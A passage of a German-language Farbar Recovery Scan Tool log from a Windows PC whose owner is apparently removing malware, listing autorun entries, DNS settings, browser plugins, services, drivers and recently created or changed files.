HKLM-x32\...\Run: [Dropbox] => "C:\Program Files (x86)\Dropbox\Client\Dropbox.exe" /systemstartup
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [235624 2015-01-09] (CANON INC.)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1314432 2016-06-09] (CANON INC.)
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2017-06-05]

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zur點kgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.0.1 192.168.0.2
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8718928D-CBEB-45EA-A621-800A9249001D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [DhcpNameServer] 192.168.0.1 192.168.0.2
Tcpip\..\Interfaces\{bbed3e08-0b41-11e3-8249-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{D14F6D89-FA6F-4917-80C9-3F09BF6A6D5D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 8.8.8.8
ManualProxies:

Internet Explorer:
==================
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.de/?hl=de&gl=de
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab

FireFox:
========
FF DefaultProfile: ajsmomju.default
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default [2017-06-07]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_171.dll [2017-05-09] ()
FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [Keine Datei]
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_171.dll [2017-05-09] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [Keine Datei]
FF Plugin HKU\S-1-5-21-3847841184-804715454-2304624315-1001: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\npuplaypc.dll [Keine Datei]

Chrome:
=======
CHR Profile: C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Default [2017-06-07]
CHR Extension: (Docs) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-06-07]

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
S4 DbxSvc; C:\Windows\system32\DbxSvc.exe [42096 2016-12-21] (Dropbox, Inc.)
R2 igfxCUIService2.0.0.0; C:\Windows\system32\igfxCUIService.exe [365048 2016-10-07] (Intel Corporation)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [387144 2016-02-04] ()
R2 ss_conn_service; C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [754784 2016-07-22] (DEVGURU Co., LTD.)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10888944 2017-04-25] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
S4 KingoSoftService; C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe "C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\checkupdate.exe"

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 DFX11_1; C:\Windows\system32\drivers\dfx11_1x64.sys [28008 2015-08-31] (Windows (R) Win 7 DDK provider)
S3 DFX12; C:\Windows\system32\drivers\dfx12x64.sys [29688 2015-11-12] (Windows (R) Win 7 DDK provider)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2017-05-07] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\drivers\dtliteusbbus.sys [47672 2017-05-07] (Disc Soft Ltd)
S3 dtproscsibus; C:\Windows\System32\drivers\dtproscsibus.sys [30264 2017-05-25] (Disc Soft Ltd)
R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [35832 2014-06-03] (Intel Corporation)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3526400 2017-03-09] (Intel Corporation)
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [425216 2016-05-25] (Realsil Semiconductor Corporation)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-05-07] (Duplex Secure Ltd.)
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [51712 2011-02-18] (Apple, Inc.) [Datei ist nicht signiert]
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
S3 dbx; system32\DRIVERS\dbx.sys [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-08 14:58 - 2017-06-08 14:58 - 02870984 _____ (ESET) C:\Users\Nick Schuster\Desktop\esetsmartinstaller_deu.exe
2017-06-08 14:50 - 2017-06-08 14:58 - 00000000 ____D C:\ProgramData\HitmanPro
2017-06-08 14:49 - 2017-06-08 14:49 - 11584088 _____ (SurfRight B.V.) C:\Users\Nick Schuster\Desktop\HitmanPro_x64.exe
2017-06-08 14:29 - 2017-06-08 14:39 - 00341529 _____ C:\Users\Nick Schuster\Desktop\Fixlog.txt
2017-06-07 16:56 - 2017-06-07 16:56 - 00000000 ____D C:\Users\Nick Schuster\Desktop\97238473987298
2017-06-07 12:11 - 2017-06-07 13:24 - 00000000 ____D C:\Program Files (x86)\Stellar Phoenix Windows Data Recovery
2017-06-07 12:11 - 2017-06-07 12:11 - 00000000 ____D C:\Log
2017-06-07 11:50 - 2017-06-08 14:39 - 00000000 ____D C:\Program Files\Recuva
2017-06-07 10:41 - 2017-06-07 10:41 - 00002287 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-06-05 17:30 - 2017-06-07 18:43 - 00000000 ____D C:\Users\Nick Schuster\Desktop\anti trojan
2017-06-05 15:48 - 2017-06-05 15:51 - 00000000 ____D C:\AdwCleaner
2017-06-05 15:40 - 2017-06-05 15:40 - 00000008 __RSH C:\ProgramData\ntuser.pol
2017-06-03 18:29 - 2017-06-03 18:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Wargaming.net
2017-06-03 17:56 - 2017-06-03 19:08 - 00000000 ____D C:\Games
2017-06-03 14:01 - 2017-06-08 19:23 - 00000000 ____D C:\FRST
2017-05-30 19:32 - 2017-06-07 10:34 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Google
2017-05-30 19:23 - 2017-06-07 10:35 - 00000000 ____D C:\Program Files\Mozilla Firefox
2017-05-30 19:23 - 2017-05-31 13:53 - 00002020 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-26 18:05 - 2017-05-26 18:05 - 00000000 ____D C:\ProgramData\Electronic Arts
2017-05-26 17:40 - 2017-05-26 17:40 - 00000295 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Papierkorb.lnk
2017-05-25 15:34 - 2017-05-25 15:36 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Pro
2017-05-25 15:34 - 2017-05-25 15:34 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtproscsibus.sys
2017-05-25 15:33 - 2017-05-25 15:33 - 00000000 ____D C:\ProgramData\DAEMON Tools Pro
2017-05-23 15:44 - 2017-04-27 15:11 - 00678592 _____ (Microsoft Corporation) C:\Windows\system32\msvcp120_clr0400.dll
2017-05-23 15:44 - 2017-04-27 15:10 - 00536768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:11 - 00869568 _____ (Microsoft Corporation) C:\Windows\system32\msvcr120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:10 - 00875712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr120_clr0400.dll
2017-05-23 15:42 - 2017-04-06 19:37 - 00445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-05-23 15:42 - 2017-04-06 19:16 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\wpd_ci.dll
2017-05-23 15:42 - 2017-04-06 18:50 - 01436672 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00434688 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-05-23 15:42 - 2017-04-06 18:35 - 01362432 _____ (Microsoft Corporation) C:\Windows\system32\gpsvc.dll
2017-05-23 15:42 - 2017-04-06 18:15 - 00358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-05-23 15:42 - 2017-04-06 17:44 - 00087040 _____ (Microsoft Corporation) C:\Windows\system32\wpdbusenum.dll
2017-05-23 15:42 - 2017-04-02 16:49 - 00186880 _____ (Microsoft Corporation) C:\Windows\system32\dpapisrv.dll
2017-05-23 15:42 - 2017-04-02 15:40 - 02013016 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-05-22 21:24 - 2017-05-22 21:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-18 22:17 - 2017-05-18 22:17 - 01499368 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01007.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00716880 _____ (Microsoft Corporation) C:\Windows\system32\WinUSBCoInstaller.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00166288 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudmdm.sys
2017-05-18 22:17 - 2017-05-18 22:17 - 00131984 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudbus.sys
2017-05-11 14:18 - 2017-04-28 23:15 - 07444824 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-05-11 14:18 - 2017-04-26 16:06 - 04169216 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-05-11 14:18 - 2017-04-16 12:23 - 02176584 _____ (Microsoft Corporation) C:\Windows\system32\combase.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01662096 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01063464 _____ (Microsoft Corporation) C:\Windows\system32\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 01135288 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 00803192 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01566032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\combase.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01213792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 00548032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 11:05 - 00612096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 10:51 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-05-11 14:18 - 2017-04-16 10:37 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-05-11 14:18 - 2017-04-16 10:36 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-05-11 14:18 - 2017-04-16 10:35 - 25741312 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-05-11 14:18 - 2017-04-16 10:18 - 05977600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-05-11 14:18 - 2017-04-16 10:16 - 00862720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 10:10 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-05-11 14:18 - 2017-04-16 10:03 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 10:02 - 00145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-05-11 14:18 - 2017-04-16 10:01 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 09:53 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-05-11 14:18 - 2017-04-16 09:52 - 01033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:49 - 20278272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-05-11 14:18 - 2017-04-16 09:47 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-05-11 14:18 - 2017-04-16 09:43 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-05-11 14:18 - 2017-04-16 09:40 - 00378880 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:37 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:29 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-05-11 14:18 - 2017-04-16 09:24 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 09:23 - 00128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\rpcss.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 09:17 - 00880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:12 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 15250944 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00330752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 04548608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:04 - 03241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-05-11 14:18 - 2017-04-16 09:02 - 00267776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wincorlib.dll
2017-05-11 14:18 - 2017-04-16 08:53 - 13661184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-05-11 14:18 - 2017-04-16 08:50 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:40 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-05-11 14:18 - 2017-04-16 08:37 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-05-11 14:18 - 2017-04-10 00:00 - 01548640 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys
2017-05-11 14:18 - 2017-04-10 00:00 - 00388448 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys
2017-05-11 14:18 - 2017-04-08 01:20 - 01375960 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-05-11 14:18 - 2017-04-07 15:56 - 01094656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-05-11 14:18 - 2017-04-02 18:41 - 00684544 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv2.sys
2017-05-11 14:18 - 2017-04-02 18:41 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv.sys
2017-05-11 14:18 - 2017-04-01 01:16 - 01968408 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2017-05-11 14:18 - 2017-03-31 23:59 - 01612504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2017-05-10 16:11 - 2017-05-10 16:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\My Games

==================== Ein Monat: Ge鋘derte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-08 18:55 - 2016-07-31 16:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CrashDumps
2017-06-08 14:46 - 2015-12-26 16:48 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-3847841184-804715454-2304624315-1001
2017-06-08 14:41 - 2015-12-26 22:26 - 00000180 _____ C:\Windows\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-06-08 14:41 - 2015-12-26 17:53 - 00000000 __SHD C:\Users\Nick Schuster\IntelGraphicsProfiles
2017-06-08 14:41 - 2015-12-26 17:46 - 00000000 ___DO C:\Users\Nick Schuster\OneDrive
2017-06-08 14:40 - 2013-08-22 16:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-07 11:28 - 2016-07-31 18:48 - 00000000 ____D C:\ProgramData\Malwarebytes
2017-06-07 10:41 - 2017-03-17 13:45 - 00003542 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2017-06-07 10:41 - 2017-03-17 13:45 - 00003414 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2017-06-07 10:41 - 2016-10-08 16:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Deployment
2017-06-07 10:41 - 2016-08-02 17:25 - 00000000 ____D C:\Program Files (x86)\Google
2017-06-07 10:41 - 2015-12-27 21:26 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Google
2017-06-07 10:34 - 2016-10-13 21:24 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sternetain
2017-06-05 15:50 - 2017-04-17 12:52 - 00000000 ____D C:\Windows\Update
2017-06-05 15:50 - 2017-03-28 19:39 - 00000000 ____D C:\Windows\system32\log
2017-06-05 15:44 - 2017-02-20 22:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Mozilla
2017-06-05 15:42 - 2016-09-14 15:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adobe
2017-06-05 15:41 - 2016-07-31 14:30 - 00000008 __RSH C:\Users\Nick Schuster\ntuser.pol
2017-06-05 15:41 - 2015-12-26 16:37 - 00000000 ____D C:\Users\Nick Schuster
2017-06-05 15:36 - 2017-05-07 14:51 - 00000000 ____D C:\Windows\System32\Tasks\Games
2017-06-05 15:36 - 2016-11-18 14:18 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ
2017-06-05 15:36 - 2016-01-21 14:13 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Temp
2017-06-05 14:38 - 2016-01-11 18:42 - 07433728 ___SH C:\Users\Nick Schuster\Desktop\Thumbs.db
2017-06-05 12:04 - 2014-11-21 05:35 - 01776918 _____ C:\Windows\system32\PerfStringBackup.INI
2017-06-05 12:04 - 2014-11-21 04:45 - 00765582 _____ C:\Windows\system32\perfh007.dat
2017-06-05 12:04 - 2014-11-21 04:45 - 00159366 _____ C:\Windows\system32\perfc007.dat
2017-06-05 12:04 - 2013-08-22 15:36 - 00000000 ____D C:\Windows\Inf
2017-06-04 10:17 - 2016-09-17 17:52 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\vlc
2017-06-02 16:14 - 2016-06-01 16:03 - 01862144 ___SH C:\Users\Nick Schuster\Downloads\Thumbs.db
2017-06-01 23:52 - 2013-08-22 15:25 - 00262144 ___SH C:\Windows\system32\config\BBI
2017-06-01 19:26 - 2015-12-29 20:54 - 00000000 ____D C:\Windows\pss
2017-06-01 12:01 - 2016-07-05 17:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adblock Plus for IE
2017-05-31 17:34 - 2017-02-12 14:31 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Bluestacks
2017-05-31 17:34 - 2013-08-22 17:36 - 00000000 __RHD C:\Users\Public\Libraries
2017-05-31 17:31 - 2016-06-14 20:57 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sony
2017-05-31 16:11 - 2017-03-16 13:19 - 00001312 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-05-31 13:52 - 2016-09-17 17:56 - 00000000 ____D C:\ProgramData\Apple
2017-05-31 10:46 - 2017-03-17 14:02 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 14:12 - 2016-12-27 21:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-05-30 14:05 - 2017-02-03 12:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Samsung
2017-05-30 14:05 - 2017-02-03 12:27 - 00000000 ____D C:\Program Files (x86)\Samsung
